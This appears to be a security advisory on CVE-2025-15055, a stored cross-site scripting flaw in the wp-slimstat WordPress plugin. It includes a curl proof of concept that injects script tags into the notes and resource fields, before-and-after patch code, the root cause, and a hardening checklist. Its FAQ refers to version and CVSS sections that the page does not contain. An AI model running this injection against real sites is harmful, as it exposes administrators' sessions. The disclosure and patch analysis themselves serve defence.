SECURITY ADVISORY / 01

CVE-2025-15055 Exploit & Vulnerability Analysis

Complete CVE-2025-15055 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:wp-slimstat NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Unauthenticated attacker.

curl -i -s -X POST "https://TARGET/wp-admin/admin.php?page=wp-slimstat-reports" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-raw "notes=<script>alert('CVE-2025-15055')</script>&resource=<script>alert('RESOURCE')</script>"

curl -i -s "https://TARGET/wp-admin/admin.php?page=wp-slimstat-reports" | grep -o "<script>alert('CVE-2025-15055')</script>"

The first request stores attacker-controlled HTML in the SlimStat event record using the vulnerable notes and resource fields. The second request loads the Recent Custom Events report and exposes the same raw <script> payload in the admin-facing HTML output.

Why this still matters at admin: An attacker does not need to be logged in to seed the report; the injected script executes later in the context of any administrator who views the Recent Custom Events report, making it a classic stored XSS risk for high-value admin sessions.

What the Patch Did

Before

echo "<p class='slimstat-tooltip-trigger'>" . $a_result[ 'notes' ];
...
echo sprintf('<span>%s</span>', $a_result[ 'counthits' ]);
...
echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s%s'>%s%s</a><br>", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);

After

echo "<p class='slimstat-tooltip-trigger'>" . esc_html( $a_result[ 'notes' ] );
...
echo sprintf('<span>%s</span>', esc_html( $a_result[ 'counthits' ] ));
...
echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . esc_html( $a_result['ip'] ) . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s'>%s</a><br>", esc_url( $blog_url . $a_result[ 'resource' ] ), esc_html( $blog_url . $a_result[ 'resource' ] )) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', esc_html( $a_result[ 'position' ] )) . __('Date', 'wp-slimstat') . (': ' . $date_time);

The patch added WordPress output escaping: esc_html() for text content and esc_url() for the constructed link URL.

Root Cause

This is stored cross-site scripting (CWE-79). User-controlled values from request fields notes and resource were preserved in SlimStat report rows and later interpolated directly into the admin report HTML. The code emitted $a_result['notes'] inside a paragraph and $a_result['resource'] inside an anchor tag without escaping, so attacker-supplied script content crossed from an untrusted HTTP request into a trusted administrator browser context unchecked.

Why It Works

The load-bearing fix is esc_html( $a_result['notes'] ). Without that line, attacker-controlled markup stored in notes would still be printed raw inside <p class='slimstat-tooltip-trigger'>, and the browser would execute injected <script> tags. The added esc_url() on $blog_url . $a_result['resource'] is also essential for the href sink, while the extra esc_html() calls on ip, position, and counthits harden the remaining text outputs against the same class of injection.

Hardening Checklist

  • Escape output with the correct WordPress API: use esc_html() for text nodes and esc_url() for href attributes.
  • Sanitize stored input before saving with sanitize_text_field() or wp_kses_post() when free-form content is allowed.
  • Protect data-modifying admin entry points with capability checks such as current_user_can('manage_options').
  • Add wp_verify_nonce() validation for admin form submissions and AJAX handlers to reduce unauthorized storage of malicious payloads.
  • Treat numeric-looking fields like counthits as untrusted input and escape them on output anyway.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-15055

Frequently asked questions about CVE-2025-15055

What is CVE-2025-15055?

CVE-2025-15055 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-15055?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-15055. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-15055 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-15055?

CVE-2025-15055 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-15055?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-15055?

The severity rating and CVSS scoring for CVE-2025-15055 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.